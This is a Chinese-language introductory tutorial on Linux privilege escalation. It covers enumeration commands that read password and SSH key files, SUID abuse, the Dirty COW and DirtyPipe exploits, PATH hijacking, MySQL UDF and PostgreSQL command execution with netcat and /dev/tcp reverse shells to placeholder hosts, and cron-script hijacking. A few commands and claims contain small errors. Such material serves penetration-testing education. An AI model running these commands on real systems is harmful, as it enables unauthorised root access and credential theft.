LINUX提权入门手册

前言

发点存货

LINUX权限简介

在学习提权之前我们先了解一下linux里面的权限我们使用命令:

ls -al

即可查看列出文件所属的权限：

文件头前面都有一段类似的字符，下面我们仔细分析一下里面符号分别代表什么。

-rw-r--r--  1 root root 

第一个符号-的地方，可以是下面这些符号：

- : 代表普通文件
d：代表目录
l：代表软链接
b：代表块文件
c：代表字符设备

而后面的

rw-r--r--  

表示的是文件所属的权限

r : 文件可读。w : 文件可修改。- : 表示暂时没有其他权限。x : 表示可执行
rw- 表示文件所拥有者的权限。
r-- 表示文件所在组的用户的权限。
r--  表示其他组的用户的权限。 

但如果是一个目录的话可以看下面的解读：

r 表示可以进入该目录进行查看。 w 表示文件可以进行增加。x 表示可以进入这个目录

后面的数据1代表的内容如下:

如果文件类型为目录，表示目录下的子目录个数
如果文件类型是普通文件，这个数据就表示这个文件的硬链接个数

后面两个root的分别含义就是：第一个为该文件所有者为root 用户，第二个表示该文件所在组为root组。

信息收集

在提权之前我们要进行信息收集，例如系统信息，用户信息，安装的服务，计划任务等能被我们进一步利用的信息，这些信息在我们提权时会用到，因为这不是本文的重点于是就放一些链接大家去了解一下：

https://www.cnblogs.com/lzkalislw/p/15630934.html

下面就简单举一些经常需要用的信息收集命令：
查看系统信息（可用于内核提权）

uname -a    打印所有可用的系统信息
uname -r    内核版本
uname -n    系统主机名。
uname -m    查看系统内核架构（64位/32位）
hostname    系统主机名
cat /proc/version    内核信息
cat /etc/*-release   分发信息
cat /etc/issue       分发信息
cat /proc/cpuinfo    CPU信息
cat /etc/lsb-release # Debian 
cat /etc/redhat-release # Redhat

用户和群组

cat /etc/passwd     列出系统上的所有用户
cat /var/mail/root
cat /var/spool/mail/root
cat /etc/group      列出系统上的所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'      列出所有的超级用户账户
whoami              查看当前用户
w                   谁目前已登录，他们正在做什么
last                最后登录用户的列表
lastlog             所有用户上次登录的信息
lastlog –u %username%  有关指定用户上次登录的信息

用户权限信息

whoami        当前用户名
id            当前用户信息
cat /etc/sudoers  谁被允许以root身份执行
sudo -l       当前用户可以以root身份执行操作
环境信息
env        显示环境变量
set        现实环境变量
echo %PATH 路径信息
history    显示当前用户的历史命令记录
pwd        输出工作目录
cat /etc/profile   显示默认系统变量
cat /etc/shells    显示可用的shellrc
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout

进程和服务

ps aux
ps -ef
top
cat /etc/services
查看以root 运行的进程
ps aux | grep root
ps -ef | grep root

查看安装的软件（可用于第三方服务提权）

ls -alh /usr/bin/
ls -alh /sbin/
ls -alh /var/cache/yum/
dpkg -l

服务/插件

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

计划任务（可用于计划任务提权）

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

有无明文存放用户密码

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find , -name "*.php" -print0 | xargs -0 grep -i -n "var $password"

有无ssh 私钥

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

可提权SUID && GUID（用于SUID提权）

find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID

查看可写/执行目录

find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders
find / -perm -o x -type d 2>/dev/null     # world-executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders

查看安装过的工具

find / -name perl*
find / -name python*
find / -name gcc*
...

信息收集工具

通过上面这些命令可以看到如果我们一个一个的去查是很麻烦的，这里推荐大家使用信息收集脚本LinEnum.sh来去进行信息收集。

官方链接：https://github.com/rebootuser/LinEnum

下载后解压，先赋予LinEnum.sh执行权限：

chmod +x LinEnum.sh

之后就可以运行该脚本了：

./LinEnum.sh -r report -e /tmp/ -t #-e：将生成的一系列文件存放在何处，此处我们存放在靶机的/tmp目录下

这样就方便了我们进行下一步操作了，只需要在里面找能利用的数据就可以了。

SUID提权

要先了解SUID是什么：
SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时，如果该程序有SUID权限，那么程序运行为进程时，进程的属主不是发起者，而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.
​ 在执行过程中，调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.
​ 利用此特性,我们可通过SUID进行提权
设置SUID权限：

chmod u+s filename   设置SUID位
chmod u-s filename   去掉SUID设置

假设我们给一个文件赋予SUID权限：

赋予权限之后的文件信息为：

代表该文件已经获得了suid权限，这就是个人对于SUID的简单理解，那么该怎样利用呢。
我们先看一下常用的具有SUID权限的文件有哪些,常用命令如下：

find / -perm -u=s -type f 2>/dev/null #-type b/d/c/p/l/f 查是块设备,目录,字符设备,管道.符号链接,普通文件
#    2>/dev/null    将find报错的信息重定向到null[空]

可以看到查询到了具有SUID权限的文件，包括上面我们增加了SUID权限的文件，当然简单总结一下我们常用SUID提权文件如下:

nmap
vim
find
bash
more
less
nano
cp
awk

下面简单举一些SUID提权的例子：
find
find是我们在linux中查找文件经常用到的命令，提权过程如下：

cd /tmp;touch xxx    随便创建一个文件可以在tmp目录下
find xxx -exec whoami \;    
find xxx -exec /bin/sh \;    利用find得到一个root权限的shell
find xxx -exec nc -lvp 1234 -e /bin/sh \;利用nc反弹一个root权限的shell

namp
namp作为一个端口扫描工具被人们熟知，当目标主机存在版本在 2.02-5.21 之间的 nmap也是可以尝试SUID提权的，接下来给大家讲一下步骤：
早期nmap中有交互模式，我们可以用以下命令进入：

nmap --interactive //进入交互模式

然后我们在交互模式中输入以下命令进行提权：

nmap> !sh
sh-3.2# whoami
root

如果读者觉得手动比较麻烦，我们可以在MSF里寻找攻击脚本：

bash
我们可以用命令通过一个ROOT权限来打开bash shell:

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

VIM
vim作为一款linux下的文件编辑器，当以SUID运行的话，它会继承root用户的权限：

vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

nano
nano是Unix和类Unix系统中的一个文本编辑器,我们也可以利用它来提权：

nano
Ctrl + R
Ctrl + X 
即可进入命令行

less/more
less命令用于显示文件或命令输出的内容，它一次只显示一个页面(分页显示工具)。它类似于more命令,而且他们两个的提权方法基本一致，但需要注意的是只有比较大的文件才能进行翻页：

less(or more) /etc/passwd
#在less(or more)中输入:
!/bin/sh

perl
perl命令作为linux中常用脚本也是可以进行提权的：

sudo perl -e 'exec "/bin/sh";'

ed
ed是Linux中功能最简单的文本编辑程序,一次仅能编辑一行而非全屏幕方式的操作。

内核漏洞提权

即通过系统的内核漏洞来进行提权，因为涉及的范围比较多，作为入门就以最著名的CVE-2016-5195(脏牛漏洞)来作为演示

dirtycow-exp：https://github.com/gbonacini/CVE-2016-5195
dirtycow-检测脚本：https://github.com/aishee/scan-dirtycow/blob/master/dirtycowscan.sh

当我们获取服务器普通用户的权限后，可以尝试以下思路来进行脏牛提权：
上传脏牛检测脚本-检测疑似存在漏洞-上传脏牛exp-提权成功
我们需要检测系统内核版本：

# 查看系统发行版本 
lsb_release -a 
# 查看内核版本 
uname -a 

当发现版本内核在脏牛影响的范围内时，拿到用户权限后将检测脚本上传至靶机：

upload /root/linux-exploit-suggester.sh /tmp/xino.sh

然后赋予该探针执行权限：

chmod 777 xino.sh

若要检测到存在，则继续上传我们下载的提权EXP来进行提权操作，注意的是上传的exp需要进行编译：

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil

执行后可得到root权限，提权脚本还可以通过searchsploit下载到本地：

searchsploit  dirty 

其他内核漏洞举例：

5.8 <= Linux kernel < 5.16.11/5.15.25/5.10.102 https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit

环境变量提权

PATH是Linux和类UNIX系统中的环境变量，指定存储可执行程序的所有bin和sbin目录，通过PATH变量来响应用户执行的命令，并向shell发送请求以搜索可执行文件。
使用命令查看当前环境变量：

我们写一段demo:

#include
void main() {
setuid(0);
setgid(0);
system("su - xino");
}

意思是通过root权限切换到xino用户，我们需要编译一下并赋予suid权限：

gcc demo.c -o shell
chmod u+s shell

当我们在服务器ls一下后发现了shell我们构造的shell文件，执行后发现当前用户切换了：

ls
./shell

了解到这里之后，我们思考一下，用户的环境变量可以自定义，那我们让另一个位置的环境配置在当前环境之前，就可以进行环境变量的劫持了。
echo命令法

echo "/bin/bash" > /tmp/su
chmod 777 /tmp/su
echo $PATH
export PATH=/tmp:$PATH
cd /srv
./shell

cp法

cp /bin/sh /tmp/su
export PATH=/tmp:$PATH
cd /srv
./shell

软链接法

ln -s /bin/sh /tmp/su
export PATH=/tmp:$PATH
cd /srv
./shell

第三方服务提权

这个思路是用第三方服务的漏洞可以拿到主机的 root 权限，比如某个组件通过root权限启动，那么我们控制了组件就相当于得到了root权限。
MySQL UDF 提权
UDF（Userdefined function）可翻译为用户自定义函数，其为mysql的一个拓展接口，可以为mysql增添一些函数。提权条件如下：

1.必须是root权限（需要创建和抛弃自定义函数）
2.secure_file_priv=（必须为空，secure_file_priv为null或者为/tmp/都不行，因为它需要在指定的位置写入udf文件）

查看是否有写入权限：

show global variables like '%secure%';

当 secure_file_priv 的值没有具体值时，表示不对 mysqld 的导入或者导出做限制，此时可提权。限制条件如下：

mysql>5.1 mysql\lib\plugin
mysql<5.1 c:\\windows

可能读者不太明白限制条件是什么意思，如果我们要提权那么就要上传UDF 的动态链接库文件（实现共享函数库概念的一种方式），我们可以在SQLMAP（sqlmap\data\udf\mysql）或者MSF中找到内置的udf.dll文件，而这个udf.dll文件上传路径的限制条件就是上面提到的。下一步就是上传udf.dll文件，这里分为两种情况：
1.拥有webshell权限时
我们可以直接将udf.dll上传到指定目录的文件夹。
2.未拥有webshell权限时
由于我们不能直接上传了，所以需要通过查询语句来转码插入udf.dll的内容：

use mysql; 
set @a=concat('',0x代码); 
create table Ghost(data LONGBLOB); 
insert into Ghost values("");update Ghost set data = @a; 
代码为select hex(load_file('c:/udf.dll'))中的内容 
select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/udf.dll'; //导出ufd.dll 
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';//创建函数 
select sys_exec('nc xxxx 6666 -e /bin/bash'); #执行

之后我们就提权成功了,监听一下就可以。
PostgreSQL
PostgreSQL是Mac OSX系统下最常用的数据库，当其版本位于9.3-11.2,允许经过身份验证的superuser或者拥有pg_read_server_files权限的用户执行任意命令。基本流程如下：

drop table if exists cmd_exec; #先删除你想要使用但是已经存在的表
create table cmd_exec(cmd_output text); #创建保存系统命令输出的表
copy cmd_exec from program 'id'; #执行系统命令利用特定函数
select * from cmd_exec; #查看执行结果

而cmd_exec中的内容可以是反弹shell:

COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/xxxx/xx 0>&1'; 

不过需要注意的是直接这样写会执行失败，我们需要将反弹shell的命令进行base64编码再传入：

L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL3h4eHgveHggMD4mMQ==

计划任务提权

定时任务（cron job）可以用来设置周期执行的命令，提权的原理为计划任务以root权限运行，计划任务中的脚本其他用户有写入的权限，或者脚本所属组为其他用户，则可以进行计划任务提权。

crontabs基本格式如上图，假设我们设置了一个计划任务xino.py:

import os
import sys
try:os.system('rm -r /home/xino/*')
except:sys.exit()

删除xino目录下的所有文件，作为普通用户我们首先进入目录查看：

cat /etc/crontab
ls  -al /tmp/xino.py
cat /tmp/xino.py

去修改这个计划任务来进行提权：

#!/user/bin/env python
import os
import sys
try:os.system(‘chmod u+s /bin/bash’)
except:sys.exit

上面代码大家应该不陌生，这涉及了上面的SUID提权，设置完后使用命令：

ls -la /bin/bash

发现属主的权限由x变成了s，成功设置了SUID权限，运行命令：

sudo bash -p

查询用户成功变成了root，提权就成功了。

漏洞探针

了解了以上提权的方法，因为我们在实战中不可能一个一个方法的去试，这样的话效率就太低了，这里给大家介绍一个漏洞探针工具linux-exploit-suggster2，该工具可以帮我们检查该系统当前可能存在的漏洞，我们只需要尝试去攻击。

官网链接：https://github.com/jondonas/linux-exploit-suggester-2

运用方法也很简单，解压后直接运行即可：

$ ./linux-exploit-suggester-2.plLocal Kernel: 4.4.0Searching among 73 exploits...

结语

因为提权的内容太多了，本文就简单总结了一下具有代表性的一些知识点，望大家多多包涵。